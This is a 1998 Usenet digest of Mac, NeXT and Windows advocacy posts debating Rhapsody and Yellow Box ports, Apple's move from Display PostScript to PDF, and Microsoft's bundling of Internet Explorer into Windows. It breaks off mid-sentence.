References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM> <35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net> <6ivmi0$822$1@cronkite.cygnus.com> <SCOTT.98May8144249@slave.doubleu.com> <6j7uid$660$1@cronkite.cygnus.com> <SCOTT.98May20165902@slave.doubleu.com>
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scott@doubleu.com (Scott Hess), on 20 May 98 16:59:02,
[...]
>Things _seem_ to move very fast, but what if the fast-moving
>things aren't really the important things?
You have no idea how accurate and full of wisdom this statement is,
Scott. In fact, it is so accurate it is self-evident, though the
overwhelming majority of people don't see it. If something is
important, how can it change all the time? If something is changing all
the time, how could it be important?
This is the basis of my contention that the last ten years have seen the
_least_ amount of innovation in computing in the last century. Granted,
we've finally been able to _begin_ to implement some rather fancy ideas
(mostly related to networking, like Notes and even {gasp} Exchange, or
SAP or other "enterprise" systems), but those ideas are decades old;
Unix integrating calendaring with email in the mid=70s. But the
important things in using a computer are still the same; you can't run
it if you don't understand it, you produce data files with
wordprocessing, spreadsheet, and graphics files, you manipulate data in
hierarchical, relational, or flat data bases, you administer users in a
shared file system.
Advances like NDS and NT Domains are just refinements of NIS, a standard
produced by Sun years ago. Clients and servers are still confused with
terminals and hosts. Routing is still far more scalable, and allows
autonomous administration, and switching doesn't. You can't get
processing power for free. A program still has to be efficient to be
effective. You still have to build fault-tolerance into your software.
You still can't guarantee bandwidth without a private line. You still
can't diagnose a problem that is no longer there, or troubleshoot a
device that is turned off. You still can't substitute streaming with
packet switching. You still can't expect technical support to know how
dumb you are, or be able to tell how smart you are. You can't expect a
computer to do anything a human can't figure out how to accomplish.
The game may change, but the rules are always the same.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: 22 May 1998 15:54:41 GMT
Organization: P & L Systems
Message-ID: <6k4741$sr4$7@ironhorse.plsys.co.uk>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <Et2Lqx.A2A@micmac.com>
<6jl9if$jfl$1@crib.bevc.blacksburg.va.us> <6jn5ai$gsi5@odie.mcleod.net>
<6jnd5o$qjg$2@news.idiom.com> <6jnjid$1cc$79@ironhorse.plsys.co.uk>
<35605650.5FEC64D6@nstar.net>
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Cc: mjpeck@nstar.net
In <35605650.5FEC64D6@nstar.net> "Michael J. Peck" wrote:
> mmalcolm crawford wrote:
> > In <6jnd5o$qjg$2@news.idiom.com> John C. Randolph wrote:
> > > I just can't buy the claim that there's a technical reason for dropping
> > > PostScript in favor of PDF. This was political, no two ways about it.
> > Apparently it may:
> > Make the window server more efficient;
> Hardware
> > Make multi-threaded imaging possible;
> Hardware
> > Enhance performance of YB/Windows significantly.
> Hardware
> > Please don't ask me for technical details at the moment! :-)
> See above.
>
Is this supposed to be meaningful?
mmalc.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 16:10:03 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3565A35B.AFDD18BC@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM>
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NNTP-Posting-Date: 22 May 1998 16:14:47 GMT
Maury Markowitz wrote:
[cut]
> > Untrue. You're speaking of the markets you and I buy into, which are
> > immaterial. The places where NT makes its inroads would be where Yellow
> > Box on Other Unices could make windfalls for Apple.
>
> I don't know if that's true. YB is a really good app development framework
> (likely overall best there is), and easily the best middlewear framework, but
> as a server development platform it's no great shakes. That's where these
> platforms are aimed so I don't know if Apple can win over many converts.
Ah, but NT isn't a wonderful server platform either. Yet it's making the
inroads I mentioned.
In other words, if NT can win converts, YB can win converts. There's
nothing for Apple to be embarassed about, yet Apple walks around with a
perpetually-embarassed expression on its face.
Yes, I know, NT is an operating system, YB is just an object framework.
So what? Instead of making excuses and promising improvements, sell the
damned product now and fix it later.
"Marry the man today
Rather than sigh in sorrow
Marry the man today
And change his ways tomorrow"
-- Damon Runyon, _Guys And Dolls_
Sorry. That was sorta silly.
MJP
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 22 May 1998 15:53:43 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6k4727$sbm@nrtphc11.bnr.ca>
References: <6jnaav$1cc$72@ironhorse.plsys.co.uk> <see-below-2105981656410001@209.24.241.47> <3564c8e8.0@news.camtech.net.au> <3564ca3f.0@news.camtech.net.au>
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In article <3564ca3f.0@news.camtech.net.au> , timothyp@tne.net.au writes:
>Go Omni! I hope Apple continues to work with MS and Netscape on the Mac side to
>get a decent offering from them in terms of speed. I hear people saying 4.01 is
>substantially faster. My question is "Than what???" 4.0 is about all. 3.01 is
>still faster and way more responsive than 4.01.Matthew Cromer matthew_cromer@iname.com
I have a G3-233 cum 266 and I find explorer to be pretty fast. However I
have yet to find a version of explorer that can stay up through an entire
web browsing session without unexpected quits.
I have installed the latest version of Explorer and so far no problems
but I do stock trading and don't have time to waste making sure explorer
is going to stay up. At least I can trust navigator to keep my five
screens up on the screen and I don't have to restart it and go to the
problem of getting my screens back up.
Navigator 4.05 is a slow beast, but at least Netscape has finally figured
out how to write a Mac Navigator that doesn't keep going down.
If I find that 4.01 of IE doesn't quit, and doesn't lock my machine up, I
will switch. The glacial performance of Navigator (Navigator running
under Virtual PC reloads pages faster) is a huge embarassment. And
caching to a ram disk doesn't help--it seems to use dual caches even when
you tell it to cache to ram, it also is caching to HD.
Yecch. Bring on MacOS X yesterday already.
Matthew Cromer
From: robinson@next532-2.gsfc.nasa.gov (Scott Robinson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: 22 May 1998 16:20:36 GMT
Organization: NASA Goddard Space Flight Center -- Greenbelt, Maryland USA
Message-ID: <6k48kk$pee@post.gsfc.nasa.gov>
References: <6k1uic$6dp$1@crib.bevc.blacksburg.va.us>
Nathan Urban writes
> In article <SCOTT.98May18215210@slave.doubleu.com>, scott@doubleu.com
(Scott Hess) wrote:
>
> > And _PLEASE_ do not tell me that in order to draw with my advanced
> > object-oriented environment, I have to revert to a palpimset
> > function-based API,
>
> I've run through all of the words, acronyms, and potential misspellings
> I can think of, to no avail. So tell me.. what the heck is "palpimset"??
Hey, this is nExtstep, right? Double-click... command-equals... Webster's
can't find it, but suggests "palpitant" as a correction:
pal pi tant \'pal-pet-ent\ adj
(1837)
:marked by trembling or throbbing
HTH ;-)
--
J. Scott Robinson / Computer Sciences Corp / (301)286-0934
EMail: robinson@next532-2.gsfc.nasa.gov
Time flies like an arrow. Fruit flies like a banana...
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 16:25:59 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35cca498.358890969@news.supernews.com>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net>
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"John Saunders" <jws@jws.ultranet.com>, on Tue, 19 May 1998 22:34:10 >
>
>They've imbedded vital functionality into the operating system. Same as they
>did with the file system. Or TCP/IP (remember when TCP/IP packages were Big
>Things?). Same as with the Web. As customers demand new features, software
>vendors should be allowed to include those features. Even if they're a
>"monopoly".
>
Quite true. No different from embedding an email program, and several
OSs have already done that. Of course, they were all designed for local
access, not network-transport based clients like POP email programs. Of
course, Unix OSs also include a network transport based email SERVER
system, but one can hardly expect NT to have EVEN THE MOST RUDIMENTARY
EMAIL TRANSPORT SUPPORT; not when Exchange is so perfect for every
possible application...
I got off track. The reason this is wrong, John, and not just a matter
of "vital functionality", is that this "vital functionality" is also
marketed by Microsoft as a separate product, and that makes this
_bundling_, not integrating, regardless of how closely intertwined the
browser application (which also has email and news clients) and the
operating system are.
Is bundling wrong, is a company required to ask government permission to
bundle products? Normally, no, but in this case Microsoft signed a
legal contract stating that it would not do this very thing. Microsoft
is allowed to "maintain" this monopoly in PC OSs, so long as they do not
try to use it to monopolize other markets. The level to which they (and
those who defend them) disregard this issue is astounding.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 22 May 1998 16:46:05 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6k4a4d$f8a$1@news.cs.tu-berlin.de>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com>
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don@misckit.com (Don Yacktman) writes:
>You can calm down now. Read Scott Anguish's notes, which are far more
>accurate and revealing than Ric Ford's abortive attempt at reporting. There
>_is_ a unified imaging model, and it is PDF instead of PS. So, it isn't as
>bad a thing as Ric's reporting would lead us to believe. It does have its
>plusses and minuses...
>One observation on this I haven't seen yet. I've seen, in two different
>places, two comments, insinuations, what have you, that lead to an
>interesting conclusion when juxtaposed.
>First: Adobe was supposedly pusing Apple to kill DPS. We're not just
>talking being a pain with the license, but they actually wanted it trashed.
>So there's something political involved which isn't just about greed.
>Second: Adobe is trying to move towards a world where all printers speak
>PDF. As in, they are trying to move to a new standard...PDF and not PS. PDF
>isn't standing still, and it certainly is becoming a viable way to pass
>around documents. In many ways, more viable than PS. At least, that's what
>Adobe wants you to think.
>So....maybe Adobe wants PDF to be the new standard, and they pushed Apple to
>make it happen using every means at their disposal, including unreasonable
>licensing terms designed to kill DPS.
>Maybe that's too conspiracy theory oriented, but it sort of makes sense to
>me. Interesting to consider, anyway.
One thing to note:
With Postscript, it was possible to have your output take advantage of
Level 2 (or Level 3) and still work on a Level 1 device (look at
Next's procsets). With PDF, you will have to either upgrade your
printer or buy a new one.
If that isn't incentive for Adobe to push PDF, I don't know what is.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 16:38:10 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35cea7d8.359723916@news.supernews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jsl9j$rgv$1@nntp2.ba.best.com>
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mr_boxster@nospam_yahoo.com (MR_boxster), on Tue, 19 May 98 19:05:21
[...]
>I just wrote a netmeeting control that allows my customer to access me via
>video conferencing via a desktop object/HTML page.. Without this functionality
>built in, I would have to spend months writing my own video capture driver, my
>own html renderer, and so forth.
[...]
>The future is about transparency and interoperability. This is the innovation
>(or direction) that MS is trying to lead us to.
No shit, the future is about transparency and interoperability. That is
_our_ vision, not Microsoft's. Computer users envisioned this direction
decades ago, before Bill Gates was out of diapers. Microsoft has done
little to help us; what is transparent and interoperable about having to
use Microsoft's operating system to use Microsoft's applications to take
advantage of Microsoft's development tools?
BTW, "innovation" is not advancement in a direction. It is a change in
direction, and how much change in direction do you think Microsoft
wants? What on earth makes you think I have to be _lead_ to want my
customers, friends, and family to teleconference with me through a web
page? _We're_ trying to lead _Microsoft_ in that direction, but they
keep digging in their heels and asking for more money, as if they
haven't gotten enough so far.
All Microsoft has done with their "visionary" propaganda is take
advantage (in the worst possible sense of the term) of the market that
_we_ created, and try to take responsibility for every flaming
advancement in technology (like the ones making VB controls, netmeeting,
and web pages) we've come up with, to boot!
Successes in general purpose computing like yours make me glad to work
in this industry. Saying you owe it all to Microsoft just pisses me
off.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 16:42:28 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35cfaa27.360314511@news.supernews.com>
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"John Saunders" <jws@jws.ultranet.com>, on Tue, 19 May 1998 22:40:09
>
>And as I've said before. If Netscape wants to play in that market, all it
>has so do is implement these interfaces. They chose not to. Maybe they'll
>change their minds, or maybe someone will make this change to the Netscape
>code.
You seem to be assuming that Netscape has equal access to those
interfaces. This is incorrect. If you consider that your "embedding a
browser in my app" capability is only possible because everything about
the system comes from Microsoft (or implements a standard to which
Microsoft has contributed nothing), I don't know if that would make you
more of a Microsoft fan, realizing that a fully proprietary system is
always the most efficient computer, or less of a Microsoft fan,
realizing that these amazing feats are not possible on a more flexible,
multi-vendor system, due mainly to Microsoft's failure to allow other's
equal access to their interfaces.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 11:59:10 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k3pae$ii2$1@ns3.vrx.net>
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<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
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Cc: mjpeck@nstar.net
In <3565A35B.AFDD18BC@nstar.net> "Michael J. Peck" claimed:
> Ah, but NT isn't a wonderful server platform either. Yet it's making the
> inroads I mentioned.
Sure, but on the _server_ side there's no reason to use it. Basically the
thread has revealed a couple of markets for the "3rd" OS, Solaris - some
desktops, more servers, and lots of embedded devices (why they'd use that
instead of QnX I don't know). YB is a desktop API. So how does having a
port to a platform like Solaris help anyone? It doesn't help Solaris because
it's almost entirely being used for servers and embedded devices.
IE, the cross platform software in those markets tends to be server
related. Spending money to provide a client end API on a server platform
doesn't strike me as interesting many people.
> Yes, I know, NT is an operating system, YB is just an object framework.
> So what? Instead of making excuses and promising improvements, sell the
> damned product now and fix it later.
The problem is that they can't afford to right now.
Maury
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 16:49:28 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35d0ab0c.360543981@news.supernews.com>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
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"John Saunders" <jws@jws.ultranet.com>, on Tue, 19 May 1998 22:27:07
[...]
>How did MS applications get a boost from the OS group? Which MS
>Applications are you referring to? The ones which use IWebBrowser2 to render
>HTML? But they're just using the same documented interfaces as anyone else.
>
Microsoft acknowledges that the OS group modifies the OS specifically to
help the MS apps group, and vice versa. This means that, inherently,
Microsoft application programmers have access to information about and
interfaces into the operating system that other application programmers
do not.
Specific charges were fast and furious (and, yes, some are dubious)
about Excel and Word in the early days of Windows. Now, the entire
"integrated" status of IE with Windows. The movement of the IE
developers from the apps to the OS group means Microsoft refuses to
acknowledge that their monopoly can be restricted to just one market (as
inevitably, they only want one market for all PC software, because it is
so much easier to write special-purpose software than general-purpose
OSs and apps, and they want 100% market share in that market, because it
is so much easier to make money when you have no competition).
You really can't be so ignorant as to suggest that Microsoft's
application developers only get the same documentation that MS sends to
Novell and IBM and Joe's Garage Software, can you? Are you sure you're
not just trolling?
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 12:03:42 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k3piu$ii2$2@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
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<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
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<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
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Cc: mjpeck@nstar.net
In <35659602.B924CF86@nstar.net> "Michael J. Peck" claimed:
> Maury Markowitz wrote:
>
> > And this would sell them how many more copies of the OS? 10 million
total?
> > Doesn't seem to be worth it to me. If they can get 1/3rd of them by a
> > straight Intel Rhapsody, or a YB over Linux, the rest isn't worth
fighting
> > for. If it does cost $100M to do a port (I'd say more like $50M, but
that's
> > besides the point)you have to ask if they can either make that up in
direct
> > sales, or make it up in increased sales on other platforms.
>
> No no no no no! You're missing the point again!
I don't think I am.
> Remember the part about "everything Apple sells helps sell everything
> Apple sells"?
Absolutely, but to a point of diminishing returns. A million copies sold
on Intel would likely influence maybe 100 Solaris programmers to use it (just
tossing out numbers). The same in reverse. It's great if the sales to one
platform bootstrap sales on another, but I just don't see any overlap in the
markets.
> That crowbar
[snip]
The only place I see this working is on Intel. None of these other
platform have either the marketshare or the mindshare for anyone to notice.
Making a really good dual booting Intel Rhapsody would do this I think.
Making a superb Solaris port almost certainly would NOT.
> Stop. You're assuming that the only revenue stream is from sales of
> Yellow Box. This is patently untrue. The full range of avenues of
> possible income hasn't been even remotely explored.
Apple has basically two paths, sales of Rhapsody related items, and sales
of Mac related items. YB over Solaris (again, EG) would likely do nothing for
either.
Maury
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 16:57:11 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35d1acce.360993641@news.supernews.com>
References: <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <tvy67j0enft.fsf@cn1.connectnet.com>
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Darin Johnson <darin@usa.net.removethis>, on Wed, 20 May 1998 19:45:28
[...]
>Now, suppose Microsoft takes Word, cuts it in half with a knife, slaps
>some glue on the bleeding parts, and then declares "this part is the
>new word processing component of the OS, and here is the API." At
>that point, Word *instantly* is conformant to that API, whereas
>WordPerfect may need several long years to redesign their product to
>use the API.
>
>Programs do not work the same way. It is silly to assume that by
>presenting a new API that programs will be able to make use of it with
>only a little effort. Being able to use the new API may involve
>enormous changes in a program's structure - sometimes even more effort
>is involved than in rewriting a new program to do the same thing.
>(ie, try converting a MAPI program to use VIM, or vice versa)
>I believe the same sorts of things happened with IWebBrowser. This
>used to be part of IE, and *only* part of IE. Other browsers had no
>access to this and no incentive to use it (unless you want to argue
>that all companies should be emulating MS products by default). Now
>MS has gone and declared a new API (IWebBrowser), with IE magically
>being conformant already and everyone else playing catchup.
>
>It's an unfair linkage between the OS and the applications group. No
>external company can possibly compete on a level playing field when MS
>is allowed insider knowledge. It's just adding fuel to the fire for
>Microsoft to then say "but here, it's an open API, you can use it if
>you want, why are you complaining?".
Nice work, Darin. _Excellent_ explanation. And, yes, I believe most
Microsoft apologists would declare that all companies should be
emulating MS products by default. After all, MS is the market leader,
aren't they? To suggest that MS has some responsibility to ensure that
their OS _doesn't_ define the way they want things done as the only way
they can be done, so you better write software that doesn't do it
differently is talking to a wall, because they believe that MS has no
responsibility other than to make money. But then they can't understand
why we suggest supporting Microsoft isn't supporting "innovation". See
how creative and progressive they were in including part of their
application in the OS for everyone to use? Wasn't that innovative the
way they made all those competing programs unnecessary?
Hoping I've confused the issue sufficiently (that explanation was just
_way_ too clear, Darin, for me to let stand on it's own)...
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 17:06:28 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35d2ae7b.361422949@news.supernews.com>
References: <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <tvy67j0enft.fsf@cn1.connectnet.com> <6jvgoa$8t5$3@nntp2.ba.best.com>
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mr_boxster@nospam_yahoo.com (MR_boxster), on Wed, 20 May 98 21:06:17
GMT,
>In article <tvy67j0enft.fsf@cn1.connectnet.com>, Darin Johnson <darin@usa.net.removethis> wrote:
>>"John Saunders" <jws@jws.ultranet.com> writes:
>>
>
>>Now, suppose Microsoft takes Word, cuts it in half with a knife, slaps
>>some glue on the bleeding parts, and then declares "this part is the
>>new word processing component of the OS, and here is the API." At
>>that point, Word *instantly* is conformant to that API, whereas
>>WordPerfect may need several long years to redesign their product to
>>use the API.
>
>Soemthing like this did happen. Its called universal windows printing support.
>MS added a unified printer system where all printer manufacture would simply
>write a driver for "windows" instead of a specific application. WordPerfect on
>the other hand, had their own printer drivers.
>Because MS added the ubiquitous universal "windows/OS centric approach" to
>printer drivers, many of other applications benefited. Those that didn't....
>well.. Its like Autocad for DOS. How many graphics card company spend time
>writing ACAD drivers if they could only concentrate on just "one" Windows
>driver.
Absolutely completely not _anything_ like the example. Where's the
competing printer driver application? Where's the splitting of the
functionality? If the wordprocessor included printing function before
Windows (that would be DOS, see), then where is the harm caused them to
use the OS-based printing functions in their Windows version,
considering they are rewriting the application to begin with? Saying
the same thing for 95/98 does not hold, as the intent is that 98 is an
_upgrade_ to 95. Windows was not an _upgrade_ to DOS in the same way.
BTW, it was Macintosh that added the "GUI/OS centric approach" to
printer drivers, though even they were not the first to include full
printer drivers or functions at the OS level.
Including _functions_ into the OS, like printing, transport protocols,
and even simple clients, is not at all like the example of including
_features_ into the OS specifically to remove the requirement for
competing applications. How often do you think Microsoft will manage to
"innovatively" include half of every one of their apps, making the
Windows platform _anything_ like a viable general purpose operating
system which supports third-party applications? They've already kind of
started with certain things; parts of the OS are designed specifically
to accommodate Office, a _separate commercial product_ is competition
(ostensibly) with many third party applications that Microsoft has
_encouraged_ to develop in Windows to extend their market reach so that
when they start changing things around to drive these 3rd party apps out
of business, they will have greater penetration.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 17:27:05 GMT
Organization: Idiom Communications
Message-ID: <6k4ch9$71h$1@news.idiom.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
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<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
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Cc: maury@remove_this.istar.ca
Maury Markowitz may or may not have said:
-> In <see-below-2205980229560001@209.24.240.67> Matthew Vaughan claimed:
-> > Yes, this is exactly it! If there could be a true cross-platform API to
-> > write applications for, say a Java/Yellow Box/QuickTime/OpenGL/whatever
-> > standard, then you'd have the same apps everywhere, and could choose
-> > whatever hardware/OS combination best suited your needs.
->
-> And this would sell them how many more copies of the OS? 10 million
total?
-> Doesn't seem to be worth it to me. If they can get 1/3rd of them by a
-> straight Intel Rhapsody, or a YB over Linux, the rest isn't worth fighting
-> for. If it does cost $100M to do a port (I'd say more like $50M, but
that's
-> besides the point)you have to ask if they can either make that up in
direct
-> sales, or make it up in increased sales on other platforms.
FYI: The original NeXTSTEP/Intel port was done for well under $4 mil.
@$500/copy, they'd need to sell about 8,000 copies of the developer system to
pay for the port. (Plus whatever marketing/overhead applies.)
Now, if they'd license *me* to do this, I'd put it out for HP-UX, DEC UNIX,
Linux and Slowlaris within a year.
-jcr
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 17:15:53 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35d3b0c4.362007568@news.supernews.com>
References: <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <tvy67j0enft.fsf@cn1.connectnet.com> <6k1860$vn6$1@strato.ultra.net>
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"John Saunders" <jws@jws.ultranet.com>, on Thu, 21 May 1998 08:42:31
>
>[I've snipped the Word-API discussion because I don't have time to teach
>Object Oriented Design this Morning. Maybe later. Suffice it to say that at
>the interface level, Word and WordPerfect are very similar, except that I
>think WP had different or no styles]
Translation: it would be WordPerfect's fault if they didn't design their
